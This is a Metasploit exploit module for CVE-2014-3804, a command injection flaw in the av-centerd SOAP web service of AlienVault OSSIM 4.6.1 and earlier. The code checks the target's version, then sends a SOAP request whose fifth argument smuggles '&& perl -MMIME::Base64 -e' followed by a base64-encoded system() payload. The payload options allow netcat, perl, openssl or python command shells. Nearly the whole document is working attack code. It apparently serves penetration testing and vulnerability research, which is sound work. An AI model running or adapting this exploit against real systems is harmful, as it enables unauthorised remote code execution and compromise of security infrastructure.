AlienVault OSSIM av-centerd Command Injection

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##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

require 'rexml/document'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

 

  include Msf::Exploit::Remote::HttpClient

  include REXML

 

  def initialize(info = {})

    super(update_info(info,

      'Name'          => 'AlienVault OSSIM av-centerd Command Injection',

      'Description'   => %q{

        This module exploits a code execution flaw in AlienVault 4.6.1 and

        prior.  The vulnerability exists in the av-centerd SOAP web service,

        where the update_system_info_debian_package method uses perl backticks

        in an insecure way, allowing command injection. This module has been

        tested successfully on AlienVault 4.6.0.

      },

      'Author'        =>

        [

          'Unknown', # From HP ZDI team, Vulnerability discovery

          'juan vazquez' # Metasploit module

        ],

      'License'       => MSF_LICENSE,

      'References'    =>

        [

          ['CVE', '2014-3804'],

          ['BID', '67999'],

          ['ZDI', '14-202'],

          ['URL', 'http://forums.alienvault.com/discussion/2690']

        ],

      'Privileged'     => true,

      'Platform'       => 'unix',

      'Arch'           => ARCH_CMD,

      'Payload'        =>

        {

          #'BadChars'   => "[;`$<>|]", # Don't apply bcuz of the perl stub applied

          'Compat'      => {

            'RequiredCmd' => 'perl netcat-e openssl python gawk'

          }

        },

      'DefaultOptions' =>

        {

          'SSL' => true

        },

      'Targets'        =>

        [

          [ 'AlienVault <= 4.6.1', { }]

        ],

      'DefaultTarget'  => 0,

      'DisclosureDate' => 'May 5 2014'))

 

    register_options(

      [

        Opt::RPORT(40007)

      ], self.class)

  end

 

  def check

    version = ""

    res = send_soap_request("get_dpkg")

 

    if res &&

       res.code == 200 &&

       res.headers['SOAPServer'] &&

       res.headers['SOAPServer'] =~ /SOAP::Lite/ &&

       res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/

 

      version = $1

    end

 

    if version.empty? || version >= "4.7.0"

      return Exploit::CheckCode::Safe

    else

      return Exploit::CheckCode::Appears

    end

  end

 

  def exploit

    send_soap_request("update_system_info_debian_package", 1)

  end

 

  def build_soap_request(method)

    xml = Document.new

    xml.add_element(

      "soap:Envelope",

      {

        'xmlns:xsi'          => "http://www.w3.org/2001/XMLSchema-instance",

        'xmlns:soapenc'      => "http://schemas.xmlsoap.org/soap/encoding/",

        'xmlns:xsd'          => "http://www.w3.org/2001/XMLSchema",

        'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",

        'xmlns:soap'         => "http://schemas.xmlsoap.org/soap/envelope/"

      })

    body = xml.root.add_element("soap:Body")

    m = body.add_element(

      method,

      {

        'xmlns' => "AV/CC/Util"

      })

    args = []

    args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})

    args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})

    args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})

    args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})

    (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }

 

    if method == "update_system_info_debian_package"

      args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})

      perl_payload  = "system(decode_base64"

      perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"

      args[4].text  = "#{rand_text_alpha(4 + rand(4))}"

      args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"

    end

 

    xml.to_s

  end

 

  def send_soap_request(method, timeout = 20)

    soap = build_soap_request(method)

 

    res = send_request_cgi({

      'uri'      => '/av-centerd',

      'method'   => 'POST',

      'ctype'    => 'text/xml; charset=UTF-8',

      'data'     => soap,

      'headers'  => {

        'SOAPAction' => "\"AV/CC/Util##{method}\""

      }

    }, timeout)

 

    res

  end

 

end